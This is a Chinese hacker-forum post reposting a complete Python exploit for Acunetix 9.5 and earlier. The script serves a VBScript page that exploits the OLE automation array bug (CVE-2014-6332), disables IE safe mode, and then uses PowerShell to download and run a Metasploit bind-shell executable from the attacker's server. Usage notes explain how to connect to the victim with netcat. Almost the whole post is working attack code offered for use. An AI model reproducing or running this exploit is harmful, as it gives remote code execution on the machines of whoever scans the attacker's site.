搜索
查看: 217|回复: 0

Acunetix <=9.5 - OLE Automation Array Remote Code Execution

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-7-3 09:45:32 | 显示全部楼层 |阅读模式
  1. #!/usr/bin/python

  2. import BaseHTTPServer, sys, socket

  3. ##
  4. # Acunetix OLE Automation Array Remote Code Execution
  5. #
  6. # Author: Naser Farhadi
  7. # Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
  8. #
  9. # Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7
  10. # Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record
  11. # Target Login Sequence
  12. # Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/
  13. # This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And
  14. # Metasploit windows/shell_bind_tcp Executable Payload
  15. # And Finally You Can Connect To Victim Machine Using Netcat   
  16. # Usage:
  17. #       chmod +x acunetix.py
  18. #       ./acunetix.py
  19. #       Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix
  20. #       nc 192.168.1.7 333
  21. # Payload Generated By This Command:    msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe
  22. #
  23. # Video: https://vid.me/SRCb
  24. ##

  25. class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  26.     def do_GET(req):
  27.         req.send_response(200)
  28.         if req.path == "/acunetix.exe":
  29.             req.send_header('Content-type', 'application/exe')
  30.             req.end_headers()
  31.             exe = open("acunetix.exe", 'rb')
  32.             req.wfile.write(exe.read())
  33.             exe.close()
  34.         else:
  35.             req.send_header('Content-type', 'text/html')
  36.             req.end_headers()
  37.             req.wfile.write("""Please scan me!
  38.                             <SCRIPT LANGUAGE="VBScript">
  39.                             function runmumaa()
  40.                             On Error Resume Next
  41.                             set shell=createobject("Shell.Application")
  42.                             command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/acunetix.exe',\
  43.                             'acunetix.exe');$(New-Object -com Shell.Application).ShellExecute('acunetix.exe');"
  44.                             shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
  45.                             end function

  46.                             dim   aa()
  47.                             dim   ab()
  48.                             dim   a0
  49.                             dim   a1
  50.                             dim   a2
  51.                             dim   a3
  52.                             dim   win9x
  53.                             dim   intVersion
  54.                             dim   rnda
  55.                             dim   funclass
  56.                             dim   myarray

  57.                             Begin()

  58.                             function Begin()
  59.                               On Error Resume Next
  60.                               info=Navigator.UserAgent

  61.                               if(instr(info,"Win64")>0)   then
  62.                                  exit   function
  63.                               end if

  64.                               if (instr(info,"MSIE")>0)   then
  65.                                          intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
  66.                               else
  67.                                  exit   function  
  68.                                          
  69.                               end if

  70.                               win9x=0

  71.                               BeginInit()
  72.                               If Create()=True Then
  73.                                  myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
  74.                                  myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

  75.                                  if(intVersion<4) then
  76.                                      document.write("<br> IE")
  77.                                      document.write(intVersion)
  78.                                      runshellcode()                    
  79.                                  else  
  80.                                       setnotsafemode()
  81.                                  end if
  82.                               end if
  83.                             end function

  84.                             function BeginInit()
  85.                                Randomize()
  86.                                redim aa(5)
  87.                                redim ab(5)
  88.                                a0=13+17*rnd(6)
  89.                                a3=7+3*rnd(5)
  90.                             end function

  91.                             function Create()
  92.                               On Error Resume Next
  93.                               dim i
  94.                               Create=False
  95.                               For i = 0 To 400
  96.                                 If Over()=True Then
  97.                                 '   document.write(i)     
  98.                                    Create=True
  99.                                    Exit For
  100.                                 End If
  101.                               Next
  102.                             end function

  103.                             sub testaa()
  104.                             end sub

  105.                             function mydata()
  106.                                 On Error Resume Next
  107.                                  i=testaa
  108.                                  i=null
  109.                                  redim  Preserve aa(a2)  
  110.                               
  111.                                  ab(0)=0
  112.                                  aa(a1)=i
  113.                                  ab(0)=6.36598737437801E-314

  114.                                  aa(a1+2)=myarray
  115.                                  ab(2)=1.74088534731324E-310  
  116.                                  mydata=aa(a1)
  117.                                  redim  Preserve aa(a0)  
  118.                             end function


  119.                             function setnotsafemode()
  120.                                 On Error Resume Next
  121.                                 i=mydata()  
  122.                                 i=readmemo(i+8)
  123.                                 i=readmemo(i+16)
  124.                                 j=readmemo(i+&h134)  
  125.                                 for k=0 to &h60 step 4
  126.                                     j=readmemo(i+&h120+k)
  127.                                     if(j=14) then
  128.                                           j=0         
  129.                                           redim  Preserve aa(a2)            
  130.                                  aa(a1+2)(i+&h11c+k)=ab(4)
  131.                                           redim  Preserve aa(a0)  

  132.                                  j=0
  133.                                           j=readmemo(i+&h120+k)   
  134.                                     
  135.                                            Exit for
  136.                                        end if

  137.                                 next
  138.                                 ab(2)=1.69759663316747E-313
  139.                                 runmumaa()
  140.                             end function

  141.                             function Over()
  142.                                 On Error Resume Next
  143.                                 dim type1,type2,type3
  144.                                 Over=False
  145.                                 a0=a0+a3
  146.                                 a1=a0+2
  147.                                 a2=a0+&h8000000
  148.                               
  149.                                 redim  Preserve aa(a0)
  150.                                 redim   ab(a0)     
  151.                               
  152.                                 redim  Preserve aa(a2)
  153.                               
  154.                                 type1=1
  155.                                 ab(0)=1.123456789012345678901234567890
  156.                                 aa(a0)=10
  157.                                       
  158.                                 If(IsObject(aa(a1-1)) = False) Then
  159.                                    if(intVersion<4) then
  160.                                        mem=cint(a0+1)*16            
  161.                                        j=vartype(aa(a1-1))
  162.                                        if((j=mem+4) or (j*8=mem+8)) then
  163.                                           if(vartype(aa(a1-1))<>0)  Then   
  164.                                              If(IsObject(aa(a1)) = False ) Then            
  165.                                                type1=VarType(aa(a1))
  166.                                              end if               
  167.                                           end if
  168.                                        else
  169.                                          redim  Preserve aa(a0)
  170.                                          exit  function

  171.                                        end if
  172.                                     else
  173.                                        if(vartype(aa(a1-1))<>0)  Then   
  174.                                           If(IsObject(aa(a1)) = False ) Then
  175.                                               type1=VarType(aa(a1))
  176.                                           end if               
  177.                                         end if
  178.                                     end if
  179.                                 end if
  180.                                           
  181.                                 
  182.                                 If(type1=&h2f66) Then         
  183.                                       Over=True      
  184.                                 End If  
  185.                                 If(type1=&hB9AD) Then
  186.                                       Over=True
  187.                                       win9x=1
  188.                                 End If  

  189.                                 redim  Preserve aa(a0)         
  190.                                     
  191.                             end function

  192.                             function ReadMemo(add)
  193.                                 On Error Resume Next
  194.                                 redim  Preserve aa(a2)  
  195.                               
  196.                                 ab(0)=0   
  197.                                 aa(a1)=add+4     
  198.                                 ab(0)=1.69759663316747E-313      
  199.                                 ReadMemo=lenb(aa(a1))  
  200.                               
  201.                                 ab(0)=0   
  202.                              
  203.                                 redim  Preserve aa(a0)
  204.                             end function

  205.                             </script>""")

  206. if __name__ == '__main__':
  207.     sclass = BaseHTTPServer.HTTPServer
  208.     server = sclass((socket.gethostbyname(socket.gethostname()), 80), RequestHandler)
  209.     print "Http server started", socket.gethostbyname(socket.gethostname()), 80
  210.     try:
  211.         server.serve_forever()
  212.     except KeyboardInterrupt:
  213.         pass
  214.     server.server_close()
复制代码



https://www.exploit-db.com/exploits/36516/
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表